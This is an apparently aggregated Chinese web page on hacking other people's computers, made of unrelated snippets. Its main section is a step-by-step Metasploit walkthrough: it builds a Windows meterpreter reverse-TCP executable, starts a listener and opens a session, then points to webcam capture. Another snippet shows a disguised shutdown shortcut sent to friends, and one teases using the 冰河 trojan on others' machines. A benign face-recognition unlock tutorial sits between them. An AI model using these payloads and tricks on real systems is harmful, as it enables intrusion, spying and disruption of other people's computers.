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2019-05-30 13:37:23
标题:如何黑别人的电脑??
链接:https://zhidao.baidu.com/question/752199248112748924.html更多相关内容 -
kali linux 黑别人电脑,如何使用 Kali Linux 黑掉 Windows
2021-05-17 09:10:01可以通过以下命令来创建 Payload(program.exe),以便能使用 Kali Linux 黑掉 Windows。root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root...Kali Linux 派生自 Debian Linux,主要用于渗透测试,拥有超过 300 个的预安装好的渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台,Metasploit 是一个用于开发和执行安全利用代码(security exploit)的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意,我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。
源机器详情
Kali Linuxroot@kali:/# uname -aLinux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linuxroot@kali:/#
用做攻击对象的目标机器:Windows 7 Ultimate SP1
步骤 1:创建 Payload 程序
Payload 是一个类似于病毒或者木马的程序,可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload(program.exe),以便能使用 Kali Linux 黑掉 Windows。root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exeNo platform was selected, choosing Msf::Module::Platform::Windows from the payloadNo Arch selected, selecting Arch: x86 from the payloadNo encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: /root/program.exe
root@kali:/# ls -la /root/program.exe
-rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe
通过 ls 命令,我们可以确认 Payload 程序是否成功生成在指定的位置。
步骤 2:运行 mfsconsole 命令启动 msf 命令窗口root@kali:# msfconsole
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
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ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.12.22-dev ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
步骤 3:进行漏洞利用的细节4444 端口:你可以按照自己的想法来选择使用哪个端口
LHOST IP:表示 Kali Linux 机器的 IP,这里是 192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的 IP。root@kali:/# ip r l
192.168.189.0/24 dev eth0 proto kernel scope link src 192.168.189.128 metric 100
root@kali:/#
现在在 msf 命令窗口使用 use exploit/multi/handler 命令,如下:msf > use exploit/multi/handlermsf exploit(handler) >
然后在接下来的命令窗口中使用命令 set payload windows/meterpreter/reverse_tcp:msf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp
现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口,如下:msf exploit(handler) > set lhost 192.168.189.128lhost => 192.168.189.128msf exploit(handler) > set lport 4444lport => 4444
最后使用 exploit 命令。msf exploit(handler) > exploit[*] Started reverse TCP handler on 192.168.189.128:4444[*] Starting the payload handler...
现在你需要在 Windows 上运行 program.exe,一旦它在目标机器上执行,你就可以建立一个 meterpreter 会话。输入 sysinfo 就可以得到这台被黑掉的 Windows 机器的详情。msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.189.1
[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000
meterpreter > sysinfo
Computer : MANN-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)System Language : en_IN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
一旦你得到了这些详细信息,就可以做更多的漏洞利用,或者通过 help 命令获取更多信息,以便列出你可以黑掉该系统的所有选项,比如 webcam_snap 命令获取网络摄像头,同样你还可以使用其他更多的可用选项。祝你入侵愉快!!!! _
译者简介:
GHLandy —— 划不完粉腮柳眉泣别离。
译文出处:https://www.zcfy.cc/article/how-to-hack-windows-with-kali-linux
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教你一招黑掉别人电脑,让电脑关机
2019-04-24 09:49:00教你一招黑掉别人电脑,让电脑关机中文名称 :自动关机命令
系 统: windows
应 用: 计算机
类 型: 电脑软件
系统中常见的自动关机的命令
shutdown -a 取消关机
shutdown -s 关机
shutdown -f 强行关闭应用程序。
shutdown -m \\计算机名 控制远程计算机。
shutdown -i 显示图形用户界面,但必须是Shutdown的第一个参数。
shutdown -l 注销当前用户。
shutdown -r 关机并重启。
shutdown -s -t时间 设置关机倒计时。 设置关闭前的超时为 xxx 秒。
举例说明具体步骤:
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在桌面上,点鼠标右键,选择“新建”,点击快捷方式
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在“请键入对象的位置(T):”里面输入:shutdown -s -t 60
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点击下一步,保存,文件名可以自己设置,比如我就设置成“惊喜”
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将此快捷方式发送给正在使用电脑的好友,对方将其下载然后打开,电脑就会在1分钟内自动关机
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破解方法:按Windows+R键,输入:shutdown -a,分别点击桌面上的“注销框关闭,输入框确定”
其他命令可以如法炮制使用,有没有很简单呢?
本文出自 “岩枭” 博客,请务必保留此出处http://yaoyaolx.blog.51cto.com/10732111/1741019
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超级黑科技代码!用Python打造电脑人脸屏幕解锁神器附带接头暗号!
2020-11-28 15:56:50前言最近突然有个奇妙的想法,就是当我对着电脑屏幕的时候,电脑会先识别屏幕上的人脸是否是本人,如果识别是本人的话需要回答电脑说的暗语,答对了才会解锁并且有三次机会。如果都没答对就会发送邮件给我,通知有人...前言
最近突然有个奇妙的想法,就是当我对着电脑屏幕的时候,电脑会先识别屏幕上的人脸是否是本人,如果识别是本人的话需要回答电脑说的暗语,答对了才会解锁并且有三次机会。如果都没答对就会发送邮件给我,通知有人在动我的电脑并上传该人头像。
过程
环境是win10代码我使用的是python3所以在开始之前需要安装一些依赖包,请按顺序安装否者会报错
pip install cmake -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install dlib -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install face_recognition -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple
接下来是构建识别人脸以及对比人脸的代码
import face_recognition
import cv2
import numpy as np
video_capture = cv2.VideoCapture(0)
my_image = face_recognition.load_image_file("my.jpg")
my_face_encoding = face_recognition.face_encodings(my_image)[0]
known_face_encodings = [
my_face_encoding
]
known_face_names = [
"Admin"
]
face_names = []
face_locations = []
face_encodings = []
process_this_frame = True
while True:
ret, frame = video_capture.read()
small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)
rgb_small_frame = small_frame[:, :, ::-1]
if process_this_frame:
face_locations = face_recognition.face_locations(rgb_small_frame)
face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)
face_names = []
for face_encoding in face_encodings:
matches = face_recognition.compare_faces(known_face_encodings, face_encoding)
name = "Unknown"
face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)
best_match_index = np.argmin(face_distances)
if matches[best_match_index]:
name = known_face_names[best_match_index]
face_names.append(name)
process_this_frame = not process_this_frame
for (top, right, bottom, left), name in zip(face_locations, face_names):
top *= 4
left *= 4
right *= 4
bottom *= 4
font = cv2.FONT_HERSHEY_DUPLEX
cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)
cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)
cv2.putText(frame, name, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)
cv2.imshow('Video', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
video_capture.release()
cv2.destroyAllWindows()
其中my.jpg需要你自己拍摄上传,运行可以发现在你脸上会出现Admin的框框,我去网上找了张图片类似这样子
识别功能已经完成了接下来就是语音识别和语音合成,这需要使用到百度AI来实现了,去登录百度AI的官网到控制台选择左边的语音技术,然后点击面板的创建应用按钮,来到创建应用界面
创建后会得到AppID、API Key、Secret Key记下来,然后开始写语音合成的代码。安装百度AI提供的依赖包
pip install baidu-aip -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install playsound -i https://pypi.tuna.tsinghua.edu.cn/simple
然后是简单的语音播放代码,运行下面代码可以听到萌妹子的声音
import sys
from aip import AipSpeech
from playsound import playsound
APP_ID = ''
API_KEY = ''
SECRET_KEY = ''
client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)
result = client.synthesis('你好吖', 'zh', 1, {'vol': 5, 'per': 4, 'spd': 5, })
if not isinstance(result, dict):
with open('auido.mp3', 'wb') as file:
file.write(result)
filepath = eval(repr(sys.path[0]).replace('\\', '/')) + '//auido.mp3'
playsound(filepath)
有了上面的代码就完成了检测是否在电脑前(人脸识别)以及电脑念出暗语(语音合成)然后我们还需要回答暗号给电脑,所以还需要完成语音识别。
import wave
import pyaudio
from aip import AipSpeech
APP_ID = ''
API_KEY = ''
SECRET_KEY = ''
client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 8000
RECORD_SECONDS = 3
WAVE_OUTPUT_FILENAME = "output.wav"
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK)
print("* recording")
frames = []
for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
print("* done recording")
stream.stop_stream()
stream.close()
p.terminate()
wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
def get_file_content():
with open(WAVE_OUTPUT_FILENAME, 'rb') as fp:
return fp.read()
result = client.asr(get_file_content(), 'wav', 8000, {'dev_pid': 1537, })
print(result)
运行此代码之前需要安装pyaudio依赖包,由于在win10系统上安装会报错所以可以通过如下方式安装。到这个链接 https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio 去下载对应的安装包然后安装即可。
运行后我说了你好,可以看到识别出来了。那么我们的小模块功能就都做好了接下来就是如何去整合它们。可以发现在人脸识别代码中if matches[best_match_index]这句判断代码就是判断是否为电脑主人,所以我们把这个判断语句当作main函数的入口。
if matches[best_match_index]:
# 在这里写识别到之后的功能
name = known_face_names[best_match_index]
那么识别到后我们应该让电脑发出询问暗号,也就是语音合成代码,然我们将它封装成一个函数,顺便重构下人脸识别的代码。
import cv2
import time
import numpy as np
import face_recognition
video_capture = cv2.VideoCapture(0)
my_image = face_recognition.load_image_file("my.jpg")
my_face_encoding = face_recognition.face_encodings(my_image)[0]
known_face_encodings = [
my_face_encoding
]
known_face_names = [
"Admin"
]
face_names = []
face_locations = []
face_encodings = []
process_this_frame = True
def speak(content):
import sys
from aip import AipSpeech
from playsound import playsound
APP_ID = ''
API_KEY = ''
SECRET_KEY = ''
client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)
result = client.synthesis(content, 'zh', 1, {'vol': 5, 'per': 0, 'spd': 5, })
if not isinstance(result, dict):
with open('auido.mp3', 'wb') as file:
file.write(result)
filepath = eval(repr(sys.path[0]).replace('\\', '/')) + '//auido.mp3'
playsound(filepath)
try:
while True:
ret, frame = video_capture.read()
small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)
rgb_small_frame = small_frame[:, :, ::-1]
if process_this_frame:
face_locations = face_recognition.face_locations(rgb_small_frame)
face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)
face_names = []
for face_encoding in face_encodings:
matches = face_recognition.compare_faces(known_face_encodings, face_encoding)
name = "Unknown"
face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)
best_match_index = np.argmin(face_distances)
if matches[best_match_index]:
speak("识别到人脸,开始询问暗号,请回答接下来我说的问题")
time.sleep(1)
speak("天王盖地虎")
error = 1 / 0
name = known_face_names[best_match_index]
face_names.append(name)
process_this_frame = not process_this_frame
for (top, right, bottom, left), name in zip(face_locations, face_names):
top *= 4
left *= 4
right *= 4
bottom *= 4
font = cv2.FONT_HERSHEY_DUPLEX
cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)
cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)
cv2.putText(frame, name, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)
cv2.imshow('Video', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
except Exception as e:
print(e)
finally:
video_capture.release()
cv2.destroyAllWindows()
这里有一点需要注意,由于playsound播放音乐的时候会一直占用这个资源,所以播放下一段音乐的时候会报错,解决方法是修改~\Python37\Lib\site-packages下的playsound.py文件,找到如下代码
在sleep函数下面添加winCommand('close', alias)这句代码,保存下就可以了。运行发现可以正常将两句话都说出来。那么说出来之后就要去监听了,我们还要打包一个函数。
def record():
import wave
import json
import pyaudio
from aip import AipSpeech
APP_ID = ''
API_KEY = ''
SECRET_KEY = ''
client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 8000
RECORD_SECONDS = 3
WAVE_OUTPUT_FILENAME = "output.wav"
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK)
print("* recording")
frames = []
for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
print("* done recording")
stream.stop_stream()
stream.close()
p.terminate()
wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
def get_file_content():
with open(WAVE_OUTPUT_FILENAME, 'rb') as fp:
return fp.read()
result = client.asr(get_file_content(), 'wav', 8000, {'dev_pid': 1537, })
result = json.loads(str(result).replace("'", '"'))
return result["result"][0]
将识别到人脸后的代码修改成如下
if matches[best_match_index]:
speak("识别到人脸,开始询问暗号,请回答接下来我说的问题")
time.sleep(1)
speak("天王盖地虎")
flag = False
for times in range(0, 3):
content = record()
if "小鸡炖蘑菇" in content:
speak("暗号通过")
flag = True
break
else:
speak("暗号不通过,再试一次")
if flag:
print("解锁")
else:
print("发送邮件并将坏人人脸图片上传!")
error = 1 / 0
name = known_face_names[best_match_index]
运行看看效果,回答电脑小鸡炖蘑菇,电脑回答暗号通过。这样功能就基本上完成了。
结语
至于发送邮件的功能和锁屏解锁的功能我就不一一去实现了,我想这应该难不倒在座的各位吧。如果在上面的教程中有什么疑问可以在下面留言或者在我的博客上留言。还有本文纯属原创,转载请注明出处!
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2012-12-28 15:48:53这道快餐是专门为从来没有通过网络进入过对方计算机的网络新手们准备的,主要使用的软件就是著名的国产木马冰河2.2,所以,如果你已经使用过冰河2.2,就不必跟着我们往下走了。其他有兴趣的网络新手们